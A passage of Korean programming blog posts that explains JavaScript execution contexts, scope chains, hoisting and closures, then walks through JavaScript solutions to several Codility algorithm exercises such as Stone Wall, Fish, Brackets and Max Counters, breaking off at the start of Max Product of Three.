```text
1. [global EC]
2. [global EC, foo() EC]
3. [global EC, foo() EC, bar() EC]
4. [global EC, foo() EC]
5. [global EC]
```

- 모두가 아는 것처럼, 실행 컨텍스트는 스택 구조다. (LIFO)
- 전역 컨텍스트는 제어권이 진입하면 생성되고, 실행컨텍스트는 위처럼 생성되고 빠지길 반복하며, 전역 컨텍스트는 애플리케이션 종료 시점까지 유지된다.
- 함수를 호출하면 해당 함수의 컨텍스트를 만들고, 실행컨텍스트 스택에 쌓는다
- 함수실행이 끝나면 이를 `pop()`하고 이 직전 실행컨텍스트에 제어권을 넘긴다.

## 실행 컨텍스트의 구성요소

실행컨텍스트는 물리적으로 객체의 형태를 가지며, 3가지 프로퍼티를 가지고 있다.

- Variable Object (변수객체)
- Scope Chain (스코프 체인)
- this

### Variable Object (변수객체)

실행컨텍스트가 생성되면, 실행에 필요한 여러정보를 담을 객체를 생성하는데 이를 변수객체라고 한다. 변수객체는 아래 세가지 정보를 담는다.

- 변수
- Parameter & Arguments
- 함수 선언 (오로지 선언만)

> 파라미터는 함수에 넘기게될 값들의 alias고, argument는 parameter에 넘기는 값을 의미한다.

변수 객체는, 실행 컨텍스트의 프로퍼티이기 때문에 다른 객체를 가르키는 값을 갖는다. 그리고 전역 컨텍스트와 함수 컨텍스트의 경우에는 각각 가르키는 객체가 다르다. 예를 들어 함수 컨텍스트에는 매개변수가 있다.

#### 전역 컨텍스트의 변수 객체

최상위에 있으며, 모든 전역 변수 및 전역 함수등을 포함하는 전역 객체 (Global Object)를 가르킨다. 전역객체는 전역에 선언된 모든 전역 변수와 전역함수를 프로퍼티로 선언한다.

위 예제에서 전역으로 선언된 것은 함수 객체인 foo와 1의 값을 가진 x가 될 것이다.

#### 함수 컨텍스트의 변수 객체

함수 컨텍스트의 변수 객체는 Activation Object(활성 객체)를 가리키며, 인수들의 정보를 배열로 담고 있는 argument object가 추가된다.

`foo()`를 예로 들어보자. 변수 y, `bar()` 그리고 외부에서 파라미터를 통해 전달 받은 `arguments`가 추가된다.

### 스코프 체인 (Scope chain)

여기저기서 어렵게 설명되어 있어서 헷갈렸는데 - 스코프체인은 전역 또는 함수가 참조할 수 있는 변수, 함수선언등의 정보를 담고 있는 전역객체나 활성객체의 리스트를 말한다.

말이 어려우니, 쉽게 이야기 해보자.

`foo()`함수는 앞서 `arguments`, `bar()`, `y`를 가르키고 있는 활성객체를 변수객체로 가지고 있다. 스코프 체인에 이 활성객체가 들어가 있다.

그리고 그 다음으로 상위 컨텍스트의 활성 객체를 가르키고 있다. `foo()`의 상위 객체는 전역 컨텍스트의 변수객체인 전영객체다.

결론적으로 `foo()`의 스코프체인은 각각 `foo()`의 `AO`, 그리고 `global`의 `GO`를 가지고 있게 된다.

전역 객체는 어떨까? 전역 객체는 가장 최상위 이므로, 오로지 `GO`만을 스코프체인에 보관하게 된다.

**결론적으로, 스코프 체인은 변수 객체를 검색하는 메커니즘이다.**

엔진은 스코프 체인을 활용해서 렉시컬 스코프를 파악한다. 함수가 `foo()`처럼 중첩되어 있을때, 하위함수 안에서 상위함수, 심지어 전역 스코프 까지 참조할 수 있는건 이것은 스코프 체인이 있기 때문에 가능한 것이다. 함수 실행중에 변수를 만나면 그변수를 현재 스코프인 `AO`에서 검색해보고, 검색에 실패하면 스코프체인의 순서대로 한단계씩 위로 검색을 이어가게 된다.

그러나 이렇게 순차적으로 검색했는데 실패한다면, 정의되지 않는 변수에 접근하는 것으로 인식하고 잘 아는 에러인 Reference에러가 나게 된다.

위의 코드에 debugger를 추가해서 크롬 콘솔에서 실행해보면 위에서 설명한 내용을 볼 수가 있다.

```javascript
debugger

var x = 1

function foo() {
  console.log('foo arguments', arguments)
  var y = 2

  function bar() {
    var z = 3
    console.log(x + y + z)
  }
  bar()
}

foo()
```

![scope-chain](./images/scope-chain.png)

### this

this 프로퍼티에는 this 값이 할당된다. this 값은 함수가 어떻게 호출되느냐에 따라 결정된다. this에 대한 자세한 이야기는 나중에 다뤄보도록 하자.

## 실행 컨텍스트가 실행되는 과정

아래 코드를 기준으로 살펴보자.

```javascript
debugger

var x = 1

function foo(hello) {
  var h = arguments[0]
  var y = 2

  function bar() {
    var z = 3
    console.log(x + y + z)
  }
  bar()
}

foo('hello')
```

### 1. 전역 객체 생성

![EC1](./images/EC1.png)

위 스샷에서 볼 수 있는 것처럼, 전역 객체 (global object, 여기서는 window)가 생성된 것을 볼 수 있다. 그리고 이 객체에 있는 프로퍼티는 어디에서든 접근할 수 있다. 그리고 이 window에는 온갖 빌트인 객체, DOM, BOM 등이 설정되어 있는 것을 볼 수 있다.

### 2. 전역 코드로 컨트롤 진입

전역 코드로 컨트롤이 진입하면 이제 전역 실행 컨텍스트가 생성되고, 이 전역 실행 컨텍스트는 실행 컨텍스트 스택에 쌓인다.

```text
ECStack = [globalContext -> {VO, SC, this}];
```

> 이렇게 생긴 코드는 없으니 그냥 느낌만 보면 될것 같다

### 2-1. 스코프 체인 생성 및 초기화

실행 컨텍스트가 생성되고 가장 먼저 하는 일은, 스코프 체인을 생성하고 초기화 하는 것이다. 여기에서는 전역 실행 컨텍스트이므로, 스코프 체인은 길이 1의 리스트로 Global Object를 가르키게 된다.

### 2-2. 변수 객체화 (Variable Instantiation) 실행

#### 순서

스코프 체인이 생성되고 초기화 되면 변수 객체화가 실행되는데 이는 Value Object에 값을 추가하는 것을 말한다. 전역 코드의 경우에는 Variable Object는 1번에서 생성하고 2번에서 가르키는 Global Object다. 그리고 아래와 같은 순서로 값을 세팅한다.

1. 함수코드인 경우 parameter가 value object의 프로퍼티로, argument가 값으로 설정된다.
2. 함수 선언을 대상으로 함수명이 value object의 프로퍼티로, 생성된 함수 객체가 값으로 설정된다. = **함수의 호이스팅**
3. 변수 선언을 대상으로 변수명이 value object의 프로퍼티로, undefined가 값으로 설정된다. = **변수의 호이스팅**

![EC2](./images/EC2.png)

위 스샷을 보자.

- 1번에 따라서 hello 파라미터의 값이 'hello' argument로 설정되어 있다.
- 2번에 따라서 bar가 `f bar()`를 가르키고 있다.
- 3번에 따라서 y, h가 undefined로 세팅되어 있다.

#### 함수 선언의 처리

그 다음 눈여겨 봐야 할 것은 함수 선언 처리다. 생성된 함수 객체는 `[[Scopes]]` 프로퍼티를 갖게 된다. 이는 함수만이 소유하는 프로퍼티로, **함수 객체가 실행되는 환경**을 가리킨다.

![EC3](./images/EC3.png)

여기에서 foo함수는 `[[Scopes]]`로 Global을 가르키고 있다. 근데 잠깐, 이거 어디서 본것 같은데, 싶었는데 여기서 0번의 `Global`은 스코프 체인의 0번에 있는 Global과 같다. 우리는 여기서 `[[Scopes]]`가 함수 객체가 실행되는 환경을 가지고 있다는 것을 알 수 있다.

내부 함수의 `[[Scopes]]`는 결론적으로

- 현재 자신의 실행환경
- 자신을 포함하는 외부함수의 실행환경
- 전역 객체

를 가르키게 된다. 여기서 자신의 실행환경과 외부 실행함수의 실행컨텍스트가 소멸해도, `[[Scopes]]`가 가리키는 외부 함수의 실행환경은 소멸되지 않고 참조할 수 있는데, **이를 클로져 라고 한다.**

함수 선언식은 (일반적인 `function hello() {...}`) 함수명을 프로퍼티로 함수 객체를 할당한다. 그리고 VO에 함수명을 프로퍼티로 추가하고 즉시 할당한다.

그러나 함수 표현식은 `const hello = function () {...}` 일반적인 변수의 방식을 따른다. 따라서 선언식은 함수를 선언하기 이전에 함수를 호출할 수 있다.

이것을 함수의 호이스팅이라고 한다.

#### 변수 선언의 처리

변수 선언을 세분화 하면 아래와 같다.

- 선언단계: 변수객체에 변수를 등록한다. 변수객체는 이제 스코프가 참조할 수 있게 된다
- 초기화 단계: 변수객체에 등록된 변수를 메모리에 할당한다. 변수는 undefined로 선언된다.
- 할당단계: undefined로 초기화 된 변수에 실제 값을 할당된다.

`var` 키워드는 선언과 초기화가 한번에 이루어진다. 즉 변수등록과 초기화가 한번에 이루어진다. 따라서 변수 선언 이전에 접근하여도 Variable Object에 변수가 이미 존재하고 있기 때문에 에러가 발생하지 않고 undefined가 리턴된다.

이를 변수의 호이스팅이라고 한다.

## 전역 코드의 실행

코드 실행을 위한 준비가 끝났으므로, 이제 코드가 실행된다.

```javascript
var x = 1

function foo(hello) {
  var h = arguments[0]
  var y = 2

  function bar() {
    var z = 3
    console.log(x + y + z)
  }
  bar()
}

foo('hello')
```

위 예제에서는 전역변수 x에 숫자 할당과, 함수 `foo()`의 호출이 실행된다.

### 변수에 값 할당

전역변수 x에 숫자를 할당하기 위해서, 실행 컨텍승트는 스코프체인이 참고하고 있는 Variable Object를 검색하기 시작한다. `x`를 발견하면 값 `xxx`를 할당한다.

### 함수의 실행

그리고 함수 `foo()`를 실행하게 된다. 함수를 실행하기 시작하면, 새로운 함수 실행 컨텍스트가 생성된다. 이와 동시에 컨트롤이 함수 `foo`로 이동하면서, 전역 코드와 마찬가지로

1. 스코프 체인의 생성 및 초기화
2. Variable Instantiation 실행
3. this value 결정

이 순차적으로 실행된다. 앞서 말한 것처럼 한가지 차이점은 - 전역코드가 아닌 함수코드라는 점이다.

#### 스코프 체인 생성 및 초기화

우선 Activation Object에 대한 레퍼런스를 스코프 체인에 추가하는 것으로 시작된다. 가장 먼저 arguments 프로퍼티를 초기화 한후, 그다음에 Variable Instantiation이 실행된다.

그 후, 스코프체인이 참조하고 있는 객체가 스코프 체인에 추가로 추가된다. 이 경우에는 스코프체인에 앞서 추가한 Activation Object와 두번째로 Global Object를 순차적으로 참조하게 된다.

#### Variable Instantiation 실행

앞서 만든 Activation Object를 Variable Object로서 실행된다.

먼저 `foo`함수 안에 있는 `bar`를 바인딩한다. 그리고 이 때 `bar`의 `[[Scopes]]`의 값은 GO와 AO를 참조하는 리스트가 된다.

변수 y를 Variable Object에 설정한다. 이 때 프로퍼티의 값은 y, 값은 undefined 다.

#### this 결정

this는 함수 호출 패턴에 의해 결정된다. 내부 함수는, this 는 전역 객체다.

### foo 함수의 실행

#### 값 할당

y에 2를 할당하기 위해, 스코프 체인을 탐색하면서 검색한다. 변수명 y에 해당하는 프로퍼티가 발견되면 2를 할당한다.

#### bar 함수의 실행

bar함수를 실행하기 시작하면, 새로운 실행 컨텍스트가 생성된다.여기서도 역시 마찬가지로 스코프 체인 생성 및 초기화, Variable Instantiation 실행, this value 결정이 순차적으로 실행된다.

![1](./images/EC/EC.001.jpeg)
![2](./images/EC/EC.002.jpeg)
![3](./images/EC/EC.003.jpeg)
![4](./images/EC/EC.004.jpeg)
![5](./images/EC/EC.005.jpeg)
![6](./images/EC/EC.006.jpeg)
![7](./images/EC/EC.007.jpeg)
![8](./images/EC/EC.008.jpeg)
![9](./images/EC/EC.009.jpeg)
![10](./images/EC/EC.010.jpeg)
![11](./images/EC/EC.011.jpeg)
![12](./images/EC/EC.012.jpeg)
![13](./images/EC/EC.013.jpeg)
![14](./images/EC/EC.014.jpeg)
![15](./images/EC/EC.015.jpeg)
![16](./images/EC/EC.016.jpeg)
![17](./images/EC/EC.017.jpeg)
![18](./images/EC/EC.018.jpeg)
![19](./images/EC/EC.019.jpeg)
![20](./images/EC/EC.020.jpeg)
![21](./images/EC/EC.021.jpeg)
![22](./images/EC/EC.022.jpeg)
![23](./images/EC/EC.023.jpeg)
![24](./images/EC/EC.024.jpeg)
![25](./images/EC/EC.025.jpeg)
![26](./images/EC/EC.026.jpeg)
![27](./images/EC/EC.027.jpeg)
![28](./images/EC/EC.028.jpeg)
![29](./images/EC/EC.029.jpeg)
![30](./images/EC/EC.030.jpeg)
![31](./images/EC/EC.031.jpeg)
![32](./images/EC/EC.032.jpeg)

---

Source: https://yceffort.kr/2020/06/codility-07-04-stone-wall.md
Title: Codility - Stone Wall
Description: ## StoneWall ### 문제  돌은 N미터 길이를 가지고 있으며, 두께는 모두 일정하다. 배얼에 돌 높이가 주어져 있으며, 아래와 같이 해석할 수 있다.  - H[i]: 왼쪽에서 오른쪽으로 벽의 높이 - H[0]: 벽 왼쪽 끝의 높이 - H[N-1]: 벽 마지막 끝의 높이  ``` H[0] = 8    H[1] = 8    H[2] = 5 H[3]...
Date: 2020-06-25
Tags: algorithm

## StoneWall

### 문제

돌은 N미터 길이를 가지고 있으며, 두께는 모두 일정하다. 배얼에 돌 높이가 주어져 있으며, 아래와 같이 해석할 수 있다.

- H[i]: 왼쪽에서 오른쪽으로 벽의 높이
- H[0]: 벽 왼쪽 끝의 높이
- H[N-1]: 벽 마지막 끝의 높이

```text
H[0] = 8    H[1] = 8    H[2] = 5
H[3] = 7    H[4] = 9    H[5] = 8
H[6] = 7    H[7] = 4    H[8] = 8
```

는 7을 리턴해야 하는데, 그 이유는 아래와 같다.

![stone-wall](https://codility-frontend-prod.s3.amazonaws.com/media/task_static/stone_wall/static/images/auto/4f1cef49cc46d451e88109d449ab7975.png)

### 풀이

```javascript
function solution(H) {
  const stack = []
  let count = 0

  for (let i = 0; i < H.length; i++) {
    // 베이스가 돌을 찾는다.
    // 베이스가 될 돌은 무조건 하나 있어야 하고
    // 현재 쌓으려는 돌 위치보다 낮아야 한다.
    while (stack.length > 0 && stack[stack.length - 1] > H[i]) {
      stack.pop()
    }

    // 돌 명단이 비어있거나, 새로 쌓아야 할 돌이 스택의 마지막 돌 보다 높다면 새로 쌓는다.
    if (stack.length === 0 || stack[stack.length - 1] < H[i]) {
      // 새로 쌓고 지금 높이를 리턴한다.
      stack.push(H[i])
      count += 1
    }
  }

  return count
}
```

https://app.codility.com/demo/results/trainingTEZQDK-37Z/

---

Source: https://yceffort.kr/2020/06/codility-07-03-nesting.md
Title: Codility - Nesting
Description: ## Nesting ### 문제  `(`와 `)`로 이루어진 문자열이 있다. 이 문자열의 `(` `)` 짝이 맞게 이루어져 있는지 확인하라.  ### 풀이  ```javascript function solution(S) {     const split = S.split('')     const stack = []     for (let i of split...
Date: 2020-06-25
Tags: algorithm, javascript

## Nesting

### 문제

`(`와 `)`로 이루어진 문자열이 있다. 이 문자열의 `(` `)` 짝이 맞게 이루어져 있는지 확인하라.

### 풀이

```javascript
function solution(S) {
  const split = S.split('')
  const stack = []
  for (let i of split) {
    // 여는 괄호라면 스택에 하나씩 넣는다
    if (i === '(') {
      stack.push(true)
      // 닫는 괄호라면
    } else {
      // 닫는괄호인데 여는괄호가 없다면 이미 글러먹었다
      if (stack.length === 0) {
        return 0
        // 하나 있으면 꺼낸다
      } else {
        stack.pop()
      }
    }
  }

  // 스택이 깔끔하게 비어있으면 1을 리턴한다.
  return stack.length === 0 ? 1 : 0
}
```

https://app.codility.com/demo/results/training8N66E9-5ZY/

---

Source: https://yceffort.kr/2020/06/codility-07-02-fish.md
Title: Codility - Fish
Description: ## Fish ### 문제  길이 N으로 이루어진 비어있지 않은 배열 A, B가 주어진다. 배열 A는 물고기의 크기를, B는 물고기의 움직임을 나타내는데, 0일 경우 위로, 1일 경우 아래로 간다. 만약 두마리의 물고기가 만날 경우, 더 사이즈가 큰 물고기가 잡아먹어버린다. 이 때 살아남는 물고기의 수를 구하라.  ``` A[0] = 4    B[0] =...
Date: 2020-06-25
Tags: algorithm

## Fish

### 문제

길이 N으로 이루어진 비어있지 않은 배열 A, B가 주어진다. 배열 A는 물고기의 크기를, B는 물고기의 움직임을 나타내는데, 0일 경우 위로, 1일 경우 아래로 간다. 만약 두마리의 물고기가 만날 경우, 더 사이즈가 큰 물고기가 잡아먹어버린다. 이 때 살아남는 물고기의 수를 구하라.

```bash
A[0] = 4    B[0] = 0
A[1] = 3    B[1] = 1
A[2] = 2    B[2] = 0
A[3] = 1    B[3] = 0
A[4] = 5    B[4] = 0

0번 물고기는 위로 간다
1번 물고기는 밑으로 가는데, 2번 물고기는 위로 간다. 이 때 1번 물고기는 2번 물고기를 먹는다
마찬가지로 3번 물고기도 먹고,
그러나 4번물고기는 5로 1번 물고기보다 덩치가 크므로 4번 물고기가 1번물고기를 먹는다

이때 그래서 살아남는 물고기는 2마리다.
```

### 풀이

```javascript
function solution(A, B) {
  // 하류로 가는 물고기를 쌓는 스택
  const stack = []
  let count = 0

  for (let i = 0; i < A.length; i++) {
    // 물고기가 하류로 가면 그 물고기의 크기를 스택에 쌓는다
    if (B[i] === 1) {
      stack.push(A[i])
    }
    // 물고기가 상류로 갈경우
    else {
      // 하류행 물고기가 있는지 계속해서 확인한다
      while (stack.length > 0) {
        // 하류행 물고기가 있으면 한마리 씩 맞짱 뜬다
        // 하류행 물고기가 더 크면 패배
        if (stack[stack.length - 1] > A[i]) {
          break
        }
        // 상류행 물고기가 더 크면 하류행 물고기 하나의 숨통을 끊는다
        else {
          stack.pop()
        }
      }

      // 그렇게 상류행 물고기를 다 이겨야 생존 카운트를 올릴 수 있다.
      if (stack.length === 0) {
        count += 1
      }
    }
  }

  // 최종 생존 명단은 하류로 가는 물고기 중 살아남은 물고기 + 상류로 갔는데 살아남은 물고기다.
  return stack.length + count
}
```

---

Source: https://yceffort.kr/2020/06/codility-07-01-brackets.md
Title: Codility - Brackets
Description: ## Brackets ### 문제  문자열 S가 주어지고, S는 다음 경우 일 때 참을 반환해야 한다.  - S가 비어있는 경우 - `(U)` or `[U]` or `{U}` 의 형태로 괄호안에 문자열이 있는 경우 - 괄호가 짝이 맞게 닫혀있는 경우  예를 들어  `{[()()]}`는 괄호가 알맞게 들어있지만, `([)()]`는 그렇지 못하다. (짝은 맞...
Date: 2020-06-25
Tags: algorithm

## Brackets

### 문제

문자열 S가 주어지고, S는 다음 경우 일 때 참을 반환해야 한다.

- S가 비어있는 경우
- `(U)` or `[U]` or `{U}` 의 형태로 괄호안에 문자열이 있는 경우
- 괄호가 짝이 맞게 닫혀있는 경우

예를 들어

`{[()()]}`는 괄호가 알맞게 들어있지만, `([)()]`는 그렇지 못하다. (짝은 맞지만 잘못닫혀있음)괄호가 올바르게 형성되어 있는 경우 1, 아니면 0을 리턴하자.

### 풀이

```javascript
function solution(S) {
  const splited = S.split('')

  const stack = []

  for (let i of splited) {
    // 여는 거
    if (i === '{' || i === '[' || i === '(') {
      stack.push(i)
    } else {
      if (stack.size === 0) return 0

      // 닫는 것이라면 가장 최근에 열었던 것이랑 비교 한다.
      const pop = stack.pop()

      if (i === ')') {
        if (pop !== '(') {
          return 0
        }
      }

      if (i === '}') {
        if (pop !== '{') {
          return 0
        }
      }

      if (i === ']') {
        if (pop !== '[') {
          return 0
        }
      }
    }
  }

  return stack.length === 0 ? 1 : 0
}
```

여는 괄호라면 stack에 넣고, 닫는 괄호라면 스택에 맨지막 괄호와 비교해서 적절한 괄호인지 확인한다.

https://app.codility.com/demo/results/training9MREFG-CYW/

---

Source: https://yceffort.kr/2020/06/codility-04-03-missing-integer.md
Title: Codility - Missing Integer
Description: ## Missing Integer ### 문제  주어진 배열 A에 빠져 있는 가장 작은 양의 정수를 구하시오  ``` A=[1, 3, 6, 4, 1, 2] 이라면 답은 5 A=[1, 2, 3] 이라면 답은 4 A=[-1, -3] 이라면 답은 1 ```   ### 풀이  ```javascript function solution(A) {     // 배열 길...
Date: 2020-06-24
Tags: algorithm, javascript

## Missing Integer

### 문제

주어진 배열 A에 빠져 있는 가장 작은 양의 정수를 구하시오

```text
A=[1, 3, 6, 4, 1, 2] 이라면 답은 5
A=[1, 2, 3] 이라면 답은 4
A=[-1, -3] 이라면 답은 1
```

### 풀이

```javascript
function solution(A) {
  // 배열 길이 만큼 false로 채워진 체커를 생성
  const checker = Array(A.length).fill(false)

  // A를 돌면서 양의 정수라면 해당 checker의 index를 true로 바꿔준다.
  for (let i = 0; i < A.length; i++) {
    if (A[i] > 0) {
      checker[A[i] - 1] = true
    }
  }

  // 가장 가까운 false위치를 찾는다.
  const index = checker.indexOf(false)
  // 없으면 모든 수가 다 차있는 것이므로 길이 + 1, 아니라면 해당 index + 1을 리턴한다.
  return index === -1 ? checker.length + 1 : index + 1
}
```

### 해설

문제와 관련된 해설은 아니고, indexOf는 일반적인 배열을 for

https://app.codility.com/demo/results/training8EH9VG-2JS/

---

Source: https://yceffort.kr/2020/06/codility-04-02-max-counters.md
Title: Codility - Max Counters
Description: ## Max Counters ### 문제  숫자 N이 주어진다. 이 숫자 N은 모든 요소가 0인 길이 N인 배열을 의미한다. 그리고 배열 A가 존재한다.   ``` 숫자 N이 5로 주어지고, 배열 A는 [3, 4, 4, 6, 1, 4, 4] 라고 가정하자.  초기 값 [0, 0, 0, 0 0] A[0] = 3, 3번째 (3-1번째) 요소의 크기를 1 늘린...
Date: 2020-06-24
Tags: algorithm, javascript

## Max Counters

### 문제

숫자 N이 주어진다. 이 숫자 N은 모든 요소가 0인 길이 N인 배열을 의미한다. 그리고 배열 A가 존재한다.

```text
숫자 N이 5로 주어지고, 배열 A는 [3, 4, 4, 6, 1, 4, 4] 라고 가정하자.

초기 값 [0, 0, 0, 0 0]
A[0] = 3, 3번째 (3-1번째) 요소의 크기를 1 늘린다.
- [0, 0, 1, 0, 0]
A[0] = 4, 4번째 (4-1번째) 요소의 크기를 1 늘린다.
- [0, 0, 1, 1, 0]
A[0] = 4, 4번째 (4-1번째) 요소의 크기를 1 늘린다.
- [0, 0, 1, 2, 0]
A[0] = 6, 모든 숫자의 크기를 현재 가장 큰 값으로 맞춘다.
- [2, 2, 2, 2, 2]
....

최종 결과는
- [3, 2, 2, 4, 2]
```

### 풀이

```javascript
function solution(N, A) {
  // 0으로 초기화된 길이 N의 배열을 만든다.
  const array = Array(N).fill(0)
  // 배열 내 최대 값
  let max = 0
  // 마지막 max counter의 기준이 되었던 수
  let maxCounter = 0
  for (let i = 0; i < A.length; i++) {
    // 모든 숫자를 올려야 하는 경우
    if (A[i] > N) {
      // maxCounter에 다같이 올라가는 최대 숫자를 저장해 둔다.
      maxCounter = max

      // 하나씩만 올리면 되는 경우
    } else {
      // 현재 숫자가 maxCounter보다 작을 경우 maxCounter로 초기화 한다.
      if (array[A[i] - 1] < maxCounter) {
        array[A[i] - 1] = maxCounter
      }

      // 그리고 +1을 한다
      array[A[i] - 1] += 1

      // 이렇게 새롭게 세팅된 숫자가 배열의 최대값인지 확인한다.
      if (max < array[A[i] - 1]) {
        max = array[A[i] - 1]
      }
    }
  }

  // 배열의 값이 maxCounter보다 작다면 그 값으로 리턴한다.
  return array.map((i) => (i < maxCounter ? maxCounter : i))
}
```

## 해설

처음에는 저 maxCounter액션을 array를 map을 돌면서 +1 을 해줬더니 timeout 에러가 났다. 그도 그럴 것이 안그래도 배열을 n회 순환하는데, +1 을하면서 또 순환하면 복잡도가 `O(N^2)`이 될 것이기 때문이다. 그래서 최대한 배열을 한번에 순환하는 방식으로 해결하고자 노력했다.

https://app.codility.com/demo/results/training7YGA6S-4D7/

---

Source: https://yceffort.kr/2020/06/codility-04-01-frog-river-one.md
Title: Codility - Frog River One
Description: ## Frog River One ### 문제  개구리가 X 까지 가고 싶은데, X까지 가기 위해서는 1부터 X를 모두 지나가야 한다. 예를 들어보자.   ``` 이렇게 배열이 주어져 있고  A[0] = 1 A[1] = 3 A[2] = 1 A[3] = 4 A[4] = 2 A[5] = 3 A[6] = 5 A[7] = 4  5까지 가고 싶다고 가정했을때, A[...
Date: 2020-06-24
Tags: algorithm

## Frog River One

### 문제

개구리가 X 까지 가고 싶은데, X까지 가기 위해서는 1부터 X를 모두 지나가야 한다. 예를 들어보자.

```text
이렇게 배열이 주어져 있고

A[0] = 1
A[1] = 3
A[2] = 1
A[3] = 4
A[4] = 2
A[5] = 3
A[6] = 5
A[7] = 4

5까지 가고 싶다고 가정했을때, A[6]까지는 1~5의 지점이 모두 존재하기 때문에 갈수 있으며, 해당 인덱스인 6을 리턴한다.
하지만 갈 수 없을 경우 -1을 리턴하면 된다.
```

### 풀이

```javascript
function solution(X, A) {
  // X 까지 가고 싶다면, 1~X 까지의 숫자가 모두 존재해야한다.
  let sum = (X * (X + 1)) / 2

  // 등장했던 숫자인지 아닌지 판별한다.
  // 이럴거면 굳이 Set을 안써도 되긴하네
  const appear = new Set()

  for (let i = 0; i < A.length; i++) {
    const target = A[i]

    // 전에 없던 숫자만
    if (!appear.has(target)) {
      // 숫자를 노출 목록(?) 에 더하고
      appear.add(target)

      // 합계에서 하나씩 뺸다
      sum -= target

      // 0 이 된다면 바로 그 index다
      if (sum === 0) {
        return i
      }

      // 만약 0 보다 작아진다면 이미 글러먹었으므로 리턴한다.
      if (sum < 0) {
        return -1
      }
    }
  }

  return -1
}
```

## 해설

배열 관련 문제가 나온다면 항상 최초 한번의 순회로 어떻게 잘 승부 볼 수 있을지 고민해보자

https://app.codility.com/demo/results/trainingKDYYTF-8AU/

---

Source: https://yceffort.kr/2020/06/codility-06-04-triangle.md
Title: Codility - Triangle
Description: ## Triangle ### 문제  길이 N의 배열 A가 주어진다.   (P, Q, R)은 삼각형이 될 수 있는데, 이는   - 0 ≤ P < Q < R < N   - A[P] + A[Q] > A[R] - A[Q] + A[R] > A[P] - A[R] + A[P] > A[Q]  라는 조건을 만족 하기 때문이다.  ``` A[0] = 10     A[1] ...
Date: 2020-06-23
Tags: algorithm

## Triangle

### 문제

길이 N의 배열 A가 주어진다.

(P, Q, R)은 삼각형이 될 수 있는데, 이는

- 0 ≤ P < Q < R < N
- A[P] + A[Q] > A[R]
- A[Q] + A[R] > A[P]
- A[R] + A[P] > A[Q]

라는 조건을 만족 하기 때문이다.

```text
A[0] = 10
A[1] = 2
A[2] = 5
A[3] = 1
A[4] = 8
A[5] = 20

은 0, 2, 4 (10, 5, 8)로 삼각형을 만들 수 있으므로 1을 리턴한다. 그러나 만들 수 없다면 0을 리턴한다.
```

주어진 A 배열에서 삼각형을 만들 수 있는 3개의 조합이 존재하는지 확인해서, 존재한다면 1을, 아니라면 0을 리턴해라.

### 풀이

```javascript
function solution(A) {
  const sorted = A.sort((a, b) => a - b)

  for (let i = 0; i < sorted.length - 2; i++) {
    const a = sorted[i]
    const b = sorted[i + 1]
    const c = sorted[i + 2]

    if (a + b > c && b + c > a && a + c > b) {
      return 1
    }
  }

  return 0
}
```

https://app.codility.com/demo/results/training6R2NPK-JJH/

---

Source: https://yceffort.kr/2020/06/codility-06-03-number-of-disc-intersections.md
Title: Codility - Number of Disc Intersections
Description: ## Number of Disc Intersections ### 문제  N개의 디스크가 존재하고, 디스크는 각각 0~ N-1의 번호를 가진다. 이는 A라는 배열에서 표현되는데, `A[N]` 는 해당 디스크의 반경을 의미한다.   ``` A[0] = 1 A[1] = 5 A[2] = 2 A[3] = 1 A[4] = 4 A[5] = 0 ```  ![discs]...
Date: 2020-06-23
Tags: algorithm

## Number of Disc Intersections

### 문제

N개의 디스크가 존재하고, 디스크는 각각 0~ N-1의 번호를 가진다. 이는 A라는 배열에서 표현되는데, `A[N]` 는 해당 디스크의 반경을 의미한다.

```text
A[0] = 1
A[1] = 5
A[2] = 2
A[3] = 1
A[4] = 4
A[5] = 0
```

![discs](https://codility-frontend-prod.s3.amazonaws.com/media/task_static/number_of_disc_intersections/static/images/auto/0eed8918b13a735f4e396c9a87182a38.png)

이 때, 교차하는 디스크의 수를 구하라.

### 풀이

```javascript
function solution(A) {
  const length = A.length
  let intersections = 0

  // 시작 점과 끝점을 저장하는 새로운 배열을 만든다.
  // [ [ -1, 1 ], [ -4, 6 ], [ 0, 4 ], [ 2, 4 ], [ 0, 8 ], [ 5, 5 ] ]
  const info = A.map((disc, index) => [index - disc, index + disc])

  // 이를 시작점이 작은 순대로 배열한다.
  // [ [ -4, 6 ], [ -1, 1 ], [ 0, 4 ], [ 0, 8 ], [ 2, 4 ], [ 5, 5 ] ]
  const sorted = info.sort((a, b) => a[0] - b[0])

  // 가장 바깥에 있는 원부터 돈다
  for (let i = 0; i < sorted.length; i++) {
    // const targetStart = sorted[i][0]
    const targetEnd = sorted[i][1]

    // 그 다음 것 부터 돈다
    for (let j = i + 1; j < sorted.length; j++) {
      const compareStart = sorted[j][0]
      // const compareEnd = sorted[j][1]

      // 겹치는 경우에만
      if (compareStart <= targetEnd) {
        intersections += 1
        // 겹치는 횟수가 특정 횟수를 넘어가면 -1을 리턴하랜다.
        if (intersections > 10000000) {
          return -1
        }
      } else {
        // 시작점 순으로 정렬했으므로, 이 이후는 안봐도 안겹친다. 따라서 break
        break
      }
    }
  }

  return intersections
}
```

하나씩 고민해보자. 1과 5과 교차하기 위해서는 어떻게 해야할까? 둘 사이의 거리는 일단 4다. 두 반지름 (반경)의 합이 4를 넘어야 한다. for 문을 돌면서 둘 사이의 차이와 반지름의 합을 계산해서 구해보면 될까?

라고 했지만 타임아웃 에러가 났다. for문을 이중으로 돌아야 하기 때문에 `O(N^2)`복잡도가 나온다. break가 없어서 빼도 박도 못한다.

둘이 겹치는지 안겹치는지 확인해볼 수 있는 방법이 있을까? 각 그리는 원마다 시작점과 끝점을 `[s, e]` 식으로 저장해 두었다가, 비교 대상의 끝점과 시작점이 겹치는지 확인해보면 될 것이다.

https://app.codility.com/demo/results/training86S6RE-49X/

---

Source: https://yceffort.kr/2020/06/codility-06-02-max-product-of-three.md
Title: Codility - Max Product of Three
Description: ## Max Product of Three ### 문제  길이 N인 배열 A가 주어졌을때, 임의로 세개의 숫자를 곱했을 때 가장 큰 값을 만들 수 있는 배열의 Index를 리턴해라.  ``` A[0] = -3 A[1] = 1 A[2] = 2 A[3] = -2 A[4] = 5 A[5] = 6  2, 4, 5번째를 곱하면 60을 만들수 있고 이것이 가장 큰 ...
Date: 2020-06-23
Tags: algorithm

## Max Product of Three

### 문제

길이 N인 배열 A가 주어졌을때, 임의로 세개의 숫자를 곱했을 때 가장 큰 값을 만들 수 있는 배열의 Index를 리턴해라.

```text
A[0] = -3
A[1] = 1
A[2] = 2
A[3] = -2
A[4] = 5
A[5] = 6

2, 4, 5번째를 곱하면 60을 만들수 있고 이것이 가장 큰 경우 이므로, 60을 리턴하면된다.
```

### 풀이

```javascript
function solution(A) {
